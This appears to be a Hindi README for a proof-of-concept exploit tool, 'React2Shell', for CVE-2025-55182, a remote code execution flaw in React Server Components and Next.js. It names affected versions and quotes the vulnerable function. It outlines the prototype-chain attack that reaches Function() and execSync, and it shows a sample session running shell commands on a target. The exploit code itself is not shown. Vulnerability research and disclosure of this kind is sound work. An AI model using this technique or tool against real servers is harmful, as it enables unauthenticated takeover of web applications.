# CVE-2025-55182 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट React Server Components में एक गंभीर बिना-प्रमाणीकरण वाला RCE (रिमोट कोड एक्ज़ीक्यूशन)। इसमें स्वचालित Python एक्सप्लॉइट, तकनीकी विश्लेषण, डिटेक्शन नियम, और अधिकृत सुरक्षा परीक्षण के लिए लैब वातावरण सेटअप शामिल है।
CVE-2025-55182 के लिए एक व्यापक प्रूफ-ऑफ-कॉन्सेप्ट शोषण और शैक्षिक संसाधन, जो 10.0 के CVSS स्कोर के साथ React Server Components को प्रभावित करने वाली एक गंभीर रिमोट कोड निष्पादन भेद्यता है।
केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए
यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच संयुक्त राज्य अमेरिका में Computer Fraud and Abuse Act (CFAA) सहित विभिन्न कानूनों तथा दुनिया भर के समान विधानों के तहत अवैध है।
आपको यह करना होगा:
लेखक और योगदानकर्ता:
इस टूल का उपयोग करके, आप स्वीकार करते हैं कि आप इन शर्तों को समझते हैं और उनसे सहमत हैं।
React2Shell दिसंबर 2025 में खोजी गई एक गंभीर भेद्यता है जो React Server Components (RSC) और उन्हें लागू करने वाले फ्रेमवर्क, विशेष रूप से Next.js, को प्रभावित करती है। यह भेद्यता एक एकल क्राफ्टेड HTTP अनुरोध के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन की अनुमति देती है।
इस रिपॉजिटरी में शामिल है:
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS स्कोर | 10.0 (गंभीर) |
| अटैक वेक्टर | नेटवर्क |
| अटैक जटिलता | निम्न |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| प्रभाव | पूर्ण सिस्टम समझौता (RCE) |
| प्रकटीकरण तिथि | दिसंबर 2025 |
create-next-app के साथ बनाए गए मानक Next.js ऐप शोषण योग्य हैंअसुरक्षित संस्करण:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0पैच किए गए संस्करण:
असुरक्षित संस्करण:
पैच किए गए संस्करण:
यह भेद्यता React Server Components के डिसीरियलाइज़ेशन तर्क में requireModule फ़ंक्शन में मौजूद है:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
return moduleExports[metadata[2]]; // VULNERABLE LINE - Prototype chain traversal
}
यह दोष हमलावरों को React Flight प्रोटोकॉल के माध्यम से JavaScript की प्रोटोटाइप श्रृंखला को पार करने की अनुमति देता है, जिससे constructor.constructor जैसे गुणों के माध्यम से Function कंस्ट्रक्टर तक पहुँच प्राप्त होती है और मनमाना कोड निष्पादन संभव होता है।
__proto__ का शोषण करता हैFunction() तक पहुँचने के लिए constructor.constructor के माध्यम से श्रृंखला बनाता हैchild_process.execSync() के माध्यम से मनमाना JavaScript इंजेक्ट करता है┌─────────────────────────────────────────────────────────────┐
│ Attacker sends multipart/form-data with Next-Action header │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Server deserializes payload via React Flight protocol │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Fake chunk object with __proto__ pollution processed │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Blob handler invokes _formData.get(_prefix + id) │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Resolves to Function("malicious_code") │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Arbitrary code executed with Node.js process privileges │
└─────────────────────────────────────────────────────────────┘
requests लाइब्रेरी# Clone the repository
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc
# Install dependencies
pip install -r requirements.txt
# Make script executable (Linux/macOS)
chmod +x react2shell.py
requests>=2.31.0
urllib3>=2.0.0
python3 react2shell.py
╔═══════════════════════════════════════════════════════════╗
║ React2Shell (CVE-2025-55182) PoC ║
║ CVSS 10.0 - Critical RCE ║
║ ║
║ Affected: React 19.0.0, 19.1.0, 19.1.1, 19.2.0 ║
║ Next.js ≥14.3.0-canary.77, 15.x, 16.x ║
║ ║
║ Cerberus Secure - Lab Use Only ║
╚═══════════════════════════════════════════════════════════╝
[?] Enter target information:
Host (e.g., localhost or 192.168.1.100): localhost
Port (e.g., 3000): 3000
[React2Shell]> id
[*] Target: http://localhost:3000/
[*] Command: id
[*] Building exploit payload...
[*] Sending exploit request...
[+] Response Status Code: 200
[*] Parsing response...
╔═══════════════════════════════════════════════════════════╗
║ COMMAND OUTPUT ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)
[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit